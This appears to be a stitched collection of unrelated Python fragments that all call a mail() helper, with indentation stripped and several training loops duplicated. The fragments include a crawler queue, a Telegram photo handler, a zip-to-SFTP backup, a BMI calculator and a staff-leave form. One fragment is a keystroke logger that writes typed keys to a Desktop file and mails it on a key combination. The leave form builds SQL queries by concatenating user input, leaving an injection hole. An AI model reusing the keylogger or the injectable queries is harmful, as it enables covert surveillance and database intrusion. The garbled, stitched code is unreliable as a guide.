def f():
db = connection.db
while True:
print("Crawling")
query = {"url": {"$ne": None}, "status": "approved"}
cur = db['queue'].find(query)
for c in cur:
# print("a")
r = c['req_no']
u = c['url']
p = c['collection_name']
n = c['no_of_pages']
try:
crawl(p, u, n)
print("crawled")
giveRank(p)
print("ranked")
index(p)
print("indexed")
mail(p, r, "")
except Exception as e:
mail(p, r, str(e))
db['queue'].delete_one({"url": u, "req_no": r})
print("Job Completed")
time.sleep(5)
def photo(update: Update, context: CallbackContext):
user = update.message.from_user
photo_file = update.message.photo[-1].get_file()
# photo_file.download('user_photo.jpg')
# Get link to get file_path
link1 = "https://api.telegram.org/bot{}/getfile?file_id={}".format(TOKEN, photo_file.file_id)
r = requests.get(link1)
file_path = r.json()["result"]["file_path"]
# Link to download file
link2 = "https://api.telegram.org/file/bot{}/{}".format(TOKEN, file_path)
global img_link
img_link = link2
logger.info("Picture: %s", img_link)
mail(gps_location, delivery_number, img_link)
update.message.reply_text('A picture of your shipment has been uploaded. Thank you for your cooperation.')
return ConversationHandler.END
def on_press(key):
global keys # to prevent unbound local error
global i_time
# if(time.time() - i_time <= 2):
# print(time.time() - i_time)
if key in close_combination:
current.add(key)
if all(k in current for k in close_combination):
keys.close()
mail()
listener.stop()
else:
if (time.time() - i_time <= 2):
pass
else:
keys.write("\n")
if key == keyboard.Key.space:
keys.write(" ")
elif key == keyboard.Key.enter:
keys.write("\n")
elif key == keyboard.Key.backspace:
keys.close()
keys = open(r"C:\Users\Ritick Madaan\Desktop\keys.txt", "r")
data = keys.read()
keys.close()
keys = open(r"C:\Users\Ritick Madaan\Desktop\keys.txt", "a")
keys.truncate(len(data) - 1)
else:
try:
keys.write(key.char)
except AttributeError:
# keys.write(format(key))
pass # keys like shift, enter, ctrl come in this category
i_time = time.time()
zipName = fileName + ".zip"
# on definit le nom du tar.gz de sauvegarde
tarName = fileName + ".tar.gz"
# on nettoye les fichiers temporaires qui pourrait creer des conflits
clean(fileName)
# on va chercher le zip sur le server web
getZip(data["source"]["url"])
# on verifie le contenu du zip
checkZip(zipName)
# on dézip le fichier
extractZip(zipName)
# on le recompresse au format Tar.ge
makeTarfile(tarName, data["source"]["name"])
# on l'envoie sur le serveur distant
sftpUpload(tarName)
# on envoie un mail en cas de réussite
mail("réussite", data["mail"]["to"], "corps")
except Exception as e:
print(e)
logging.critical(e)
mail("echec", data["mail"]["to"], e)
print relevant
print hit
return
allrecord = []
for i in xrange(len(all_cart)):
user_cart = all_cart[i]
for i in user_cart:
allrecord.append(i)
for iter in xrange(300):
allresult = []
print "Iter %d" % iter
print "Training..."
sumloss = 0
for i in xrange(len(all_cart)):
user_cart = all_cart[i]
user_cart = user_cart[0:int(0.8 * len(user_cart))]
if len(user_cart) < 10:
continue
u, w, x, loss = train(user_cart, u, x, w)
sumloss += loss
print sumloss
predict(all_cart, allresult)
print Counter(allresult)
f_handler.close()
mail('./result.txt')
allrecord = []
for i in xrange(len(all_cart)):
user_cart = all_cart[i]
for i in user_cart:
allrecord.append(i)
fre = Counter(allrecord)
print fre
print "learningrate = 0.01 lamda=0.001"
iter = 0
while True:
allresult = []
print "Iter %d" % iter
print "Training..."
sumloss = 0
for i in xrange(len(all_cart)):
user_cart = all_cart[i]
user_cart = user_cart[0:int(0.8 * len(user_cart))]
if len(user_cart) < 10:
continue
u, w, x, loss = train(user_cart, u, x, w)
sumloss += loss
print sumloss
predict(all_cart, allresult)
print Counter(allresult)
iter += 1
mail('./resultmobile.txt')
allrecord=[]
for i in xrange(len(all_cart)):
user_cart = all_cart[i]
for i in user_cart:
allrecord.append(i)
fre=Counter(allrecord)
print fre
print "learningrate = 0.01 lamda=0.001"
iter = 0
while True:
allresult=[]
print "Iter %d"%iter
print "Training..."
sumloss=0
for i in xrange(len(all_cart)):
user_cart = all_cart[i]
user_cart = user_cart[0:int(0.8*len(user_cart))]
if len(user_cart)<10:
continue
u,w,x,loss=train(user_cart,u,x,w)
sumloss+=loss
print sumloss
predict(all_cart,allresult)
print Counter(allresult)
iter += 1
mail('./resultmobile.txt')
def bmi():
x = float(w.get()) // (float(h.get())**2)
ne = n.get()
ee = e.get()
print('''%s your BMI is: %d''' % (ne, x))
if x in range(18, 26):
message = '''
Your BMI = %d
Congrats you are healthy!
EAT-SLEEP-REPEAT
''' % x
mb.showinfo("Hello %s" % ne, message)
mail(message, ee)
mb.showinfo("Success!", "E-mail has been sent to you")
elif x in range(25, 30):
message = '''
Your BMI = %d
You fall in overweight category
Start exercise..
''' % x
mb.showwarning("BMI Calculation", message)
mail(message, ee)
mb.showinfo("Success!", "E-mail has been sent to you")
elif x in range(2, 18):
message = '''
Your BMI = %d
You fall in Underweight category
Consume Calories
''' % x
mb.showwarning("BMI Calculation", message)
mail(message, ee)
mb.showinfo("Success!", "E-mail has been sent to you")
elif x in range(30, 35):
message = '''
Your BMI = %d
Alert You fall in Obese Class I
Start Exercising
''' % x
mb.showerror("BMI Calculation", message)
mail(message, ee)
mb.showinfo("Success!", "E-mail has been sent to you")
elif x in range(35, 40):
message = '''
Your BMI = %d
Alert You fall in Obese Class II
Start Exercising, Stop Fast fooding
''' % x
mb.showerror("BMI Calculation", message)
mail(message, ee)
mb.showinfo("Success!", "E-mail has been sent to you")
elif (x > 40):
message = '''
Your BMI = %d
Alert You fall in Obese Class III
Consult Doctor ASAP
''' % x
mb.showerror("BMI Calculation", message)
mail(message, ee)
mb.showinfo("Success!", "E-mail has been sent to you")
elif (x == 0):
mb.showwarning("ALert", "Please enter Weight in KGS and Height in 'm'")
def post(self, email, from_date, to_date, leave_type, reason, contact,
halfDay):
row_id = 0
fid = '',
name = ''
lid = ''
max_leaves = 0
available_dates = []
flag = Check_Teaching().get(email)
if flag:
leaves_table = 'Leaves'
else:
staff_type = 'Non_Teaching_Leaves'
no_of_days = float(0)
conn = e.connect()
if Check_Teaching().get(email):
fid = conn.execute(
'select fid from Teaching where Teaching.email =' + '\'' +
email + '\'').fetchall()[0][0]
name = conn.execute(
'select name from Teaching where Teaching.email =' + '\'' +
email + '\'').fetchall()[0][0]
if not Check_HOD().get(email):
lid = conn.execute(
'select lid from LeaveTypes where description = ' + '\'' +
leave_type + '\'').fetchall()[0][0]
max_leaves = conn.execute(
'select max_leaves from LeaveTypes where lid = \'' + lid +
'\'').fetchall()[0][0]
else:
lid = conn.execute(
'select lid from HOD_LeaveTypes where description = ' +
'\'' + leave_type + '\'').fetchall()[0][0]
max_leaves = conn.execute(
'select max_leaves from HOD_LeaveTypes where lid = \'' +
lid + '\'').fetchall()[0][0]
else:
fid = conn.execute(
'select fid from Non_Teaching where Non_Teaching.email =' +
'\'' + email + '\'').fetchall()[0][0]
name = conn.execute(
'select name from Non_Teaching where Non_Teaching.email =' +
'\'' + email + '\'').fetchall()[0][0]
lid = conn.execute(
'select lid from Non_Teaching_LeaveTypes where description = '
+ '\'' + leave_type + '\'').fetchall()[0][0]
max_leaves = conn.execute(
'select max_leaves from Non_Teaching_LeaveTypes where lid = \''
+ lid + '\'').fetchall()[0][0]
fdate = [int(i) for i in from_date.split('-')]
fdate = date(fdate[0], fdate[1], fdate[2])
tdate = [int(i) for i in to_date.split('-')]
tdate = date(tdate[0], tdate[1], tdate[2])
if halfDay == 'false':
delta = tdate - fdate
days_between_dates = list(
map(lambda x: str(fdate + timedelta(days=x)),
range(delta.days + 1)))
available_dates = list(
filter(lambda x: True
if (x not in holidays) else False, days_between_dates))
no_of_days = float(len(available_dates))
else:
no_of_days = 0.5
available_dates = [str(fdate + timedelta(days=0))]
applied_leaves = conn.execute('select sum(nodays) from Leaves where lid = \'' + \
lid+'\'' + 'and email = \'' + email + '\'').fetchall()[0][0]
row_id = conn.execute('select max(id) from Leaves').fetchall()[0][0]
if (not applied_leaves):
applied_leaves = 0
if row_id:
row_id += 1
else:
row_id = 1
values = "('%d','%s','%s','%s','%s','%s','%s','%f','%s' , '%s')" % (
row_id, email, fid, lid, from_date, to_date, reason, no_of_days,
contact, '')
if (max_leaves - applied_leaves) >= no_of_days:
query = conn.execute('insert into ' + 'Leaves' + ' values ' +
values)
mail(email, name)
return [True, no_of_days, available_dates]
else:
return False
user_cart = all_cart[i]
for i in user_cart:
allrecord.append(i)
for iter in xrange(300):
allresult=[]
print "Iter %d"%iter
print "Training..."
sumloss=0
for i in xrange(len(all_cart)):
user_cart = all_cart[i]
user_cart = user_cart[0:int(0.8*len(user_cart))]
if len(user_cart)<10:
continue
u,w,x,loss=train(user_cart,u,x,w)
sumloss+=loss
print sumloss
predict(all_cart,allresult)
print Counter(allresult)
f_handler.close()
mail('./result.txt')
def sendMail(sendTo, message, topic):
sender = mail()
sender.send(sendTo, message, topic)
connector.addLog(datetime.now(), str('[sendMail] Sent mail to ' + sendTo))
return 0
def timed_job():
mail()
def sendMail(sendTo, message, topic):
sender = mail()
sender.send(sendTo, message, topic)
connector.addLog(datetime.now(), str('[sendMail] Sent mail to '+sendTo))
return 0
